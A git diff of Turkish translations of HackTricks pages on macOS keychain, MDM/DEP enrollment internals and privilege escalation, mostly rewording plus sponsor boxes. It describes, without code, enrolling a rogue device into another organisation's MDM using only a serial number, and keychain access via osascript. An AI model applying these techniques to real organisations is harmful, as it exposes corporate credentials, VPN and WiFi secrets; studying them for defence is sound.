erişebilirsiniz, böylece partitionID'de apple olan tüm uygulamalara güvenen herhangi bir şeye erişebilirsiniz. **`Python`** bunun için de kullanılabilir. {% endhint %} ### İki ek özellik * **Görünmez**: Girişi **UI** Anahtarlık uygulamasından **gizlemek** için bir boolean bayrağıdır -* **Genel**: **Meta verileri** saklamak için kullanılır (bu nedenle ŞİFRELENMEMİŞTİR) +* **Genel**: **Meta verileri** saklamak için kullanılır (bu nedenle **ŞİFRELENMEMİŞTİR**) * Microsoft, hassas uç noktalara erişmek için tüm yenileme tokenlarını düz metinde saklıyordu. ## Referanslar @@ -150,24 +151,25 @@ Eğer **partitionID**'de **apple** belirtilmişse, **`osascript`** ile buna eri
-[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık web** destekli bir arama motorudur. +[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur. -WhiteIntel'ın başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. +WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. Websitesini ziyaret edebilir ve **ücretsiz** olarak motorlarını deneyebilirsiniz: {% embed url="https://whiteintel.io" %} +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin. -* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin. +* [**Sponsorluk planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.
+{% endhint %} diff --git a/macos-hardening/macos-red-teaming/macos-mdm/README.md b/macos-hardening/macos-red-teaming/macos-mdm/README.md index 402a5b63d..3f1cb1e5b 100644 --- a/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -1,20 +1,21 @@ # macOS MDM +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.**
+{% endhint %} -**macOS MDM'ler hakkında bilgi edinmek için:** +**macOS MDM'leri hakkında bilgi edinmek için:** * [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) * [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) @@ -23,7 +24,7 @@ HackTricks'ı desteklemenin diğer yolları: ### **MDM (Mobil Cihaz Yönetimi) Genel Bakışı** -[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM), akıllı telefonlar, dizüstü bilgisayarlar ve tabletler gibi çeşitli son kullanıcı cihazlarının yönetimi için kullanılır. Özellikle Apple'ın platformları (iOS, macOS, tvOS) için, özel özellikler, API'lar ve uygulamalar içerir. MDM'nin işleyişi, uyumlu bir MDM sunucusuna dayanır, bu sunucu ticari olarak temin edilebilir veya açık kaynaklı olabilir ve [MDM Protokolü](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)'nü desteklemelidir. Anahtar noktalar şunları içerir: +[Mobil Cihaz Yönetimi](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM), akıllı telefonlar, dizüstü bilgisayarlar ve tabletler gibi çeşitli son kullanıcı cihazlarının yönetimi için kullanılır. Özellikle Apple'ın platformları (iOS, macOS, tvOS) için, özel özellikler, API'lar ve uygulamaları içerir. MDM'nin işleyişi, MDM protokolünü destekleyen ticari olarak temin edilebilen veya açık kaynaklı bir MDM sunucusuna dayanır. Anahtar noktalar şunları içerir: * Cihazlar üzerinde merkezi kontrol. * MDM protokolüne uygun bir MDM sunucusuna bağımlılık. @@ -31,29 +32,29 @@ HackTricks'ı desteklemenin diğer yolları: ### **DEP (Cihaz Kayıt Programı) Temelleri** -Apple tarafından sunulan [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP), iOS, macOS ve tvOS cihazları için sıfır dokunuş yapılandırma sağlayarak Mobil Cihaz Yönetimi (MDM) entegrasyonunu kolaylaştırır. DEP, cihazların kutudan çıkar çıkmaz operasyonel hale gelmesini sağlayarak kayıt sürecini otomatikleştirir ve kullanıcı veya yönetici müdahalesini minimuma indirir. Temel noktalar şunları içerir: +Apple tarafından sunulan [Cihaz Kayıt Programı](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP), iOS, macOS ve tvOS cihazları için sıfır dokunuşlu yapılandırmayı kolaylaştırarak Mobil Cihaz Yönetimi (MDM) entegrasyonunu basitleştirir. DEP, cihazların kutudan çıkar çıkmaz operasyonel hale gelmesini sağlayarak kayıt sürecini otomatikleştirir ve kullanıcı veya yönetici müdahalesini minimuma indirir. Temel noktalar şunları içerir: * Cihazların ilk etkinleştirilmesinde önceden tanımlanmış bir MDM sunucusuna otomatik olarak kaydolmalarını sağlar. -* Başlangıçta yeni cihazlar için faydalı olmasının yanı sıra, yeniden yapılandırılan cihazlar için de uygundur. -* Basit bir kurulum sağlayarak cihazları hızla kuruluşun kullanımına hazır hale getirir. +* Öncelikle yeni cihazlar için faydalı olmakla birlikte, yeniden yapılandırılan cihazlar için de uygundur. +* Cihazların hızlı bir şekilde kurulmasını sağlayarak, cihazları organizasyonel kullanıma hızlı bir şekilde hazır hale getirir. ### **Güvenlik Düşünceleri** -DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sıra güvenlik riskleri de oluşturabileceği önemlidir. MDM kaydı için yeterli koruma önlemleri uygulanmazsa, saldırganlar bu kolaylaştırılmış süreci kullanarak kuruluşun MDM sunucusuna kendi cihazlarını kaydedebilir ve kurumsal cihaz gibi görünebilirler. +DEP tarafından sağlanan kayıt kolaylığının faydalı olmasına rağmen, uygun koruma önlemlerinin MDM kaydı için yeterince uygulanmaması durumunda güvenlik riskleri oluşturabileceği önemlidir. Eğer MDM kaydı için koruyucu önlemler yeterince uygulanmazsa, saldırganlar bu basitleştirilmiş süreci kullanarak kurumsal cihazları taklit ederek kendi cihazlarını kuruluşun MDM sunucusuna kaydedebilirler. {% hint style="danger" %} -**Güvenlik Uyarısı**: Basitleştirilmiş DEP kaydı, uygun koruma önlemleri alınmazsa, yetkisiz cihaz kaydına izin verebilir. +**Güvenlik Uyarısı**: Basitleştirilmiş DEP kaydı, uygun koruma önlemleri olmadığında yetkisiz cihaz kaydına izin verebilir. {% endhint %} ### SCEP (Basit Sertifika Kayıt Protokolü) Nedir? * Göreceli olarak eski bir protokol, TLS ve HTTPS yaygınlaşmadan önce oluşturulmuştur. -* Müşterilere bir **Sertifika İmzalama İsteği** (CSR) göndermek için standartlaştırılmış bir yol sağlar. Müşteri, sunucudan kendisine imzalı bir sertifika vermesini ister. +* Müşterilere bir **Sertifika İmzalama İsteği** (CSR) gönderme standart bir yol sağlar. Müşteri, sunucudan kendisine imzalı bir sertifika vermesini ister. ### Yapılandırma Profilleri (aka mobileconfigs) Nedir? * Apple'ın resmi **sistem yapılandırmasını belirleme/zorlama** yoludur. -* Birden fazla yük içerebilen dosya formatı. +* Birden fazla yük taşıyabilen dosya formatı. * Özellik listelerine (XML türünden) dayanır. * "kökenlerini doğrulamak, bütünlüklerini sağlamak ve içeriklerini korumak için imzalanabilir ve şifrelenebilir." Temeller — Sayfa 70, iOS Güvenlik Kılavuzu, Ocak 2018. @@ -61,26 +62,26 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı ### MDM -* APNs (**Apple sunucuları**) + RESTful API (**MDM** **satıcı** sunucuları) kombinasyonu -* **İletişim**, bir **cihaz** ile bir **cihaz yönetimi** **ürününe** bağlı bir sunucu arasında gerçekleşir +* APNs (**Apple sunucuları**) + RESTful API (**MDM satıcı** sunucuları) kombinasyonu +* **İletişim**, bir **cihaz** ve bir **cihaz yönetimi ürünü** ile ilişkili bir sunucu arasında gerçekleşir * **Komutlar**, MDM'den cihaza **plist kodlu sözlükler** şeklinde iletilir * Tümü **HTTPS** üzerinden. MDM sunucuları (genellikle) sabitlenebilir. * Apple, MDM satıcısına kimlik doğrulaması için bir **APNs sertifikası** verir ### DEP -* **3 API**: bayiler için 1, MDM satıcıları için 1, cihaz kimliği için 1 (belgelenmemiş): +* **3 API**: 1 bayiler için, 1 MDM satıcıları için, 1 cihaz kimliği için (belgelenmemiş): * Sözde [DEP "bulut hizmeti" API'si](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Bu, MDM sunucularının DEP profillerini belirli cihazlarla ilişkilendirmek için kullandığı API'dir. -* [Apple Yetkili Bayileri tarafından kullanılan DEP API'si](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html), cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için. -* Belgelenmemiş özel DEP API'si. Bu, Apple Cihazlarının DEP profillerini istemek için kullanılır. macOS'ta, `cloudconfigurationd` ikili dosyası bu API üzerinden iletişim kurar. +* [Apple Yetkili Bayiler tarafından kullanılan DEP API'si](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html), cihazları kaydetmek, kayıt durumunu kontrol etmek ve işlem durumunu kontrol etmek için kullanılır. +* Belgelenmemiş özel DEP API. Bu, Apple Cihazlarının DEP profillerini istemek için kullanılır. macOS'ta, `cloudconfigurationd` ikili dosyası bu API üzerinden iletişim kurar. * Daha modern ve **JSON** tabanlı (plist karşısında) * Apple, MDM satıcısına bir **OAuth belirteci** verir **DEP "bulut hizmeti" API'si** * RESTful -* Apple'dan MDM sunucusuna cihaz kayıtlarını senkronize eder -* MDM sunucusundan Apple'a "DEP profillerini" senkronize eder (daha sonra cihaza Apple tarafından iletilir) +* Apple'dan MDM sunucusuna cihaz kayıtlarını senkronize et +* MDM sunucusundan Apple'a "DEP profillerini" senkronize et (daha sonra cihaza Apple tarafından iletilir) * Bir DEP "profil" şunları içerir: * MDM satıcı sunucu URL'si * Sunucu URL'si için ek güvenilir sertifikalar (isteğe bağlı sabitleme) @@ -88,7 +89,7 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı ## Seri Numarası -2010'dan sonra üretilen Apple cihazlarının genellikle **12 karakterli alfasayısal** seri numaraları vardır, **ilk üç rakamın üretim yeri**, **sonraki iki rakamın üretim yılı ve haftası**, **bir sonraki üç rakamın benzersiz tanımlayıcısı** ve **sondaki dört rakamın model numarası** olduğu bilinmektedir. +2010'dan sonra üretilen Apple cihazlarının genellikle **12 karakterli alfasayısal** seri numaraları vardır, **ilk üç rakamın üretim yeri**, ardından **üretim yılını ve haftasını belirten iki rakam**, bir **benzersiz tanımlayıcı sağlayan üç rakam** ve **model numarasını temsil eden son dört rakam** bulunur. {% content-ref url="macos-serial-number.md" %} [macos-serial-number.md](macos-serial-number.md) @@ -98,7 +99,7 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı 1. Cihaz kaydı oluşturma (Bayi, Apple): Yeni cihaz için kayıt oluşturulur 2. Cihaz kaydı atama (Müşteri): Cihaz bir MDM sunucusuna atanır -3. Cihaz kaydı senkronizasyonu (MDM satıcısı): MDM, cihaz kayıtlarını senkronize eder ve DEP profillerini Apple'a gönderir +3. Cihaz kaydı senkronizasyonu (MDM satıcısı): MDM cihaz kayıtlarını senkronize eder ve DEP profillerini Apple'a gönderir 4. DEP kontrolü (Cihaz): Cihaz DEP profilini alır 5. Profil alımı (Cihaz) 6. Profil kurulumu (Cihaz) a. MDM, SCEP ve kök CA yükleri dahil @@ -106,33 +107,33 @@ DEP tarafından sağlanan kayıt kolaylığının faydalı olmasının yanı sı ![](<../../../.gitbook/assets/image (694).png>) -`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` dosyası, kayıt sürecinin **yüksek seviye "adımları"** olarak kabul edilebilecek işlevleri ihraç eder. +`/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` dosyası, kayıt sürecinin **yüksek seviyeli "adımları"** olarak kabul edilebilecek işlevleri ihraç eder. ### Adım 4: DEP kontrolü - Aktivasyon Kaydının Alınması -Bu sürecin bir parçası, bir **kullanıcının bir Mac'i ilk kez başlattığında** (veya tamamen silindikten sonra) gerçekleşir +Bu sürecin bir parçası, bir **kullanıcının bir Mac'i ilk kez başlattığında** (veya tam bir silme işleminden sonra) ![](<../../../.gitbook/assets/image (1044).png>) -veya `sudo profiles show -type enrollment` komutunu çalıştırdığında +veya `sudo profiles show -type enrollment` komutunu çalıştırdığında gerçekleşir -* **Cihazın DEP özelliğine sahip olup olmadığını belirle** -* Aktivasyon Kaydı, DEP "profilinin" iç ismidir +* **Cihazın DEP özellikli olup olmadığını belirle** +* Aktivasyon Kaydı, DEP "profil"i için iç isimdir * Cihazın İnternete bağlandığı anda başlar * **`CPFetchActivationRecord`** tarafından yönlendirilir -* **`cloudconfigurationd`** tarafından XPC aracılığıyla uygulanır. Cihaz ilk kez başlatıldığında **"Kurulum Yardımcısı"** veya **`profiles`** komutu, aktivasyon kaydını almak için bu daemon'a **bağlanır**. +* **`cloudconfigurationd`** tarafından XPC aracılığıyla uygulanır. Cihaz ilk kez başlatıldığında **"Kurulum Yardımcısı**" veya **`profiles`** komutu bu hizmete başvurmak için bu daemon ile iletişim kurar. * LaunchDaemon (her zaman root olarak çalışır) -Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından gerçekleştirilen birkaç adım izlenir. Bu süreçte **Absinthe** adı verilen bir şifreleme kullanılır +Aktivasyon Kaydını almak için **`MCTeslaConfigurationFetcher`** tarafından gerçekleştirilen birkaç adımı takip eder. Bu süreç **Absinthe** adı verilen bir şifreleme kullanır 1. **Sertifika** al -1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) adresinden al +1. [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) adresinden GET isteği yap 2. Sertifikadan durumu başlat (**`NACInit`**) 1. Çeşitli cihaz özel verilerini kullanır (örneğin **`IOKit`** üzerinden Seri Numarası) 3. **Oturum anahtarını** al -1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) adresine POST et +1. [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) adresine POST isteği yap 4. Oturumu oluştur (**`NACKeyEstablishment`**) 5. İsteği yap -1. `{ "action": "RequestProfileConfiguration", "sn": "" }` verilerini göndererek [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) adresine POST et +1. `{ "action": "RequestProfileConfiguration", "sn": "" }` verilerini göndererek [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) adresine POST isteği yap 2. JSON yükü **Absinthe** kullanılarak şifrelenir (**`NACSign`**) 3. Tüm istekler HTTPS üzerinden yapılır, yerleşik kök sertifikalar kullanılır @@ -148,15 +149,15 @@ Yanıt, aşağıdaki gibi bazı önemli veriler içeren bir JSON sözlüğüdür ![](<../../../.gitbook/assets/image (444).png>) * DEP profilde sağlanan **URL'ye** istek gönderilir. -* Eğer sağlanmışsa, **anchor sertifikaları** güveni **değerlendirmek** için kullanılır. -* Hatırlatma: DEP profildeki **anchor\_certs** özelliği -* İstek, cihaz kimliği ile ilgili basit bir .plist dosyasıdır +* Eğer sağlanmışsa, **Güvenilir kök sertifikalar** güveni **değerlendirmek** için kullanılır. +* Hatırlatma: DEP profili **anchor\_certs** özelliği +* İstek, cihaz kimliği gibi **basit bir .plist** içerir * Örnekler: **UDID, OS sürümü**. * CMS imzalı, DER kodlanmış -* **APNS'den alınan cihaz kimlik sertifikası ile imzalanmıştır** +* **APNS'den cihaz kimlik sertifikası kullanılarak imzalanmıştır** * **Sertifika zinciri**, süresi dolmuş **Apple iPhone Device CA** içerir -![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) +![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) ### Adım 6: Profil Kurulumu @@ -165,18 +166,18 @@ Yanıt, aşağıdaki gibi bazı önemli veriler içeren bir JSON sözlüğüdür * **`CPInstallActivationProfile`** tarafından yönlendirilir * mdmclient üzerinden XPC ile uygulanır * LaunchDaemon (root olarak) veya LaunchAgent (kullanıcı olarak), bağlama bağlı olarak -* Yapılandırma profillerinin yüklenmesi için birden fazla yük içerir -* Framework, profilleri yüklemek için bir eklenti tabanlı mimariye sahiptir -* Her yük türü bir eklenti ile ilişkilendirilir -* XPC (framework içinde) veya klasik Cocoa (ManagedClient.app içinde) olabilir +* Yapılandırma profilleri yüklemek için birden fazla yük içerir +* Framework, profilleri yüklemek için eklenti tabanlı bir mimariye sahiptir +* Her yük türü bir eklentiyle ilişkilendirilir +* XPC (çerçevede) veya klasik Cocoa (ManagedClient.app içinde) olabilir * Örnek: * Sertifika Yükleri SertifikaServisi.xpc kullanır -Genellikle, bir MDM satıcısı tarafından sağlanan **aktivasyon profili** aşağıdaki yükleri içerecektir: +Genellikle bir MDM satıcısı tarafından sağlanan **aktivasyon profili**, aşağıdaki yükleri içerecektir: * Cihazı MDM'ye **kaydetmek** için `com.apple.mdm` -* Cihaza güvenli bir **istemci sertifikası** sağlamak için `com.apple.security.scep` -* Cihazın Sistem Anahtar Zincirine **güvenilir CA sertifikalarını yüklemek** için `com.apple.security.pem` +* Cihaza güvenli bir şekilde bir **istemci sertifikası** sağlamak için `com.apple.security.scep` +* Cihazın Sistem Anahtar Zincirine **güvenilir CA sertifikaları yüklemek** için `com.apple.security.pem` * MDM yükünü yüklemek, belgelerdeki **MDM kontrolüne** eşdeğerdir * Yük, aşağıdaki ana özellikleri içerir: * @@ -184,45 +185,20 @@ Genellikle, bir MDM satıcısı tarafından sağlanan **aktivasyon profili** aş * MDM Komut Anketleme URL'si (**`ServerURL`**) + tetiklemek için APNs konusu * MDM yükünü yüklemek için istek **`CheckInURL`** adresine gönderilir * **`mdmclient`** tarafından uygulanır -* MDM yükü diğer yüklerden etkilenebilir -* **İsteklerin belirli sertifikalara bağlanmasına izin verir**: +* MDM yükü diğer yüklerden bağımlı olabilir +* **İsteklerin belirli sertifikalara sabitlenmesine izin verir**: * Özellik: **`CheckInURLPinningCertificateUUIDs`** * Özellik: **`ServerURLPinningCertificateUUIDs`** -* PEM yükü ile teslim edilir +* PEM yükü ile iletilir * Cihazın bir kimlik sertifikası ile ilişkilendirilmesine izin verir: -* Özellik: KimlikSertifikasıUUID -* SCEP yükü ile teslim edilir +* Özellik: KimlikSertifikasiUUID +* SCEP yükü ile iletilir ### Adım 7: MDM komutlarını dinleme -MDM kontrolü tamamlandıktan sonra, satıcı APNs'yi kullanarak **itme bildirimleri gönderebilir** +MDM kontrolü tamamlandıktan sonra, satıcı APNs'yi kullanarak **itme bildirimleri** gönderebilir Alındığında, **`mdmclient`** tarafından işlenir MDM komutları için anket yapmak için istek **ServerURL** adresine gönderilir -Daha önce yüklenen MDM yükünden yararlanır: +Daha önce yüklenen MDM yükü kullanılır: İsteği sabitlemek için **`ServerURLPinningCertificateUUIDs`** -TLS istemci sertifikası için **`IdentityCertificateUUID`** kullanır - -## Saldırılar - -### Diğer Organizasyonlara Cihazları Kaydetme - -Daha önce belirtildiği gibi, bir cihazı bir organizasyona **kaydetmek için yalnızca o Organizasyona ait bir Seri Numarası gereklidir**. Cihaz kaydedildikten sonra, birçok organizasyon yeni cihaza hassas veriler yükleyecektir: sertifikalar, uygulamalar, WiFi şifreleri, VPN yapılandırmaları [ve benzeri](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Bu nedenle, kayıt süreci doğru şekilde korunmazsa, bu saldırganlar için tehlikeli bir giriş noktası olabilir: - -{% content-ref url="enrolling-devices-in-other-organisations.md" %} -[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md) -{% endcontent-ref %} - -
- -Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'i desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR gönderin.** - -
+TLS istemci sertifikası için **`IdentityCertificateUUID`** diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md index e8828f342..d2b113352 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/README.md @@ -1,18 +1,19 @@ # macOS Güvenliği ve Yetki Yükseltme +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Bize katılın** 💬 [**Discord grubunda**](https://discord.gg/hRep4RUj7f) veya [**telegram grubunda**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
+{% endhint %}
@@ -25,13 +26,13 @@ Hacking'in heyecanına ve zorluklarına inen içeriklerle etkileşime girin Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin **En Son Duyurular**\ -Başlatılan en yeni ödül avı programları ve önemli platform güncellemeleri hakkında bilgi sahibi olun +Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgilenin **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın! ## Temel MacOS -Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmeye başlamalısınız: +MacOS'u tanımıyorsanız, MacOS'un temellerini öğrenmeye başlamalısınız: * Özel macOS **dosyaları ve izinleri:** @@ -57,18 +58,18 @@ Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmey [mac-os-architecture](mac-os-architecture/) {% endcontent-ref %} -* Ortak macOS ağ hizmetleri ve protokolleri +* Ortak macOS **ağ hizmetleri ve protokolleri** {% content-ref url="macos-protocols.md" %} [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} * **Açık kaynak** macOS: [https://opensource.apple.com/](https://opensource.apple.com/) -* Bir `tar.gz` dosyası indirmek için [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin +* Bir `tar.gz` indirmek için [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi bir URL'yi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin ### MacOS MDM -Şirketlerde **macOS** sistemleri büyük olasılıkla bir MDM ile **yönetilecektir**. Bu nedenle, bir saldırganın bakış açısından **bu nasıl çalışır** öğrenmek ilginç olacaktır: +Şirketlerde **macOS** sistemlerinin büyük olasılıkla bir **MDM ile yönetileceği** unutulmamalıdır. Bu nedenle, bir saldırganın bakış açısından **bu nasıl çalışır** bilgisi önemlidir: {% content-ref url="../macos-red-teaming/macos-mdm/" %} [macos-mdm](../macos-red-teaming/macos-mdm/) @@ -93,12 +94,12 @@ Eğer macOS hakkında bilgi sahibi değilseniz, macOS'ın temellerini öğrenmey Eğer **kök olarak çalışan bir işlem** bir kullanıcı tarafından kontrol edilebilen bir dosyaya yazarsa, kullanıcı bu durumu **yetki yükseltmek** için kötüye kullanabilir.\ Bu durumlar şunlardan kaynaklanabilir: 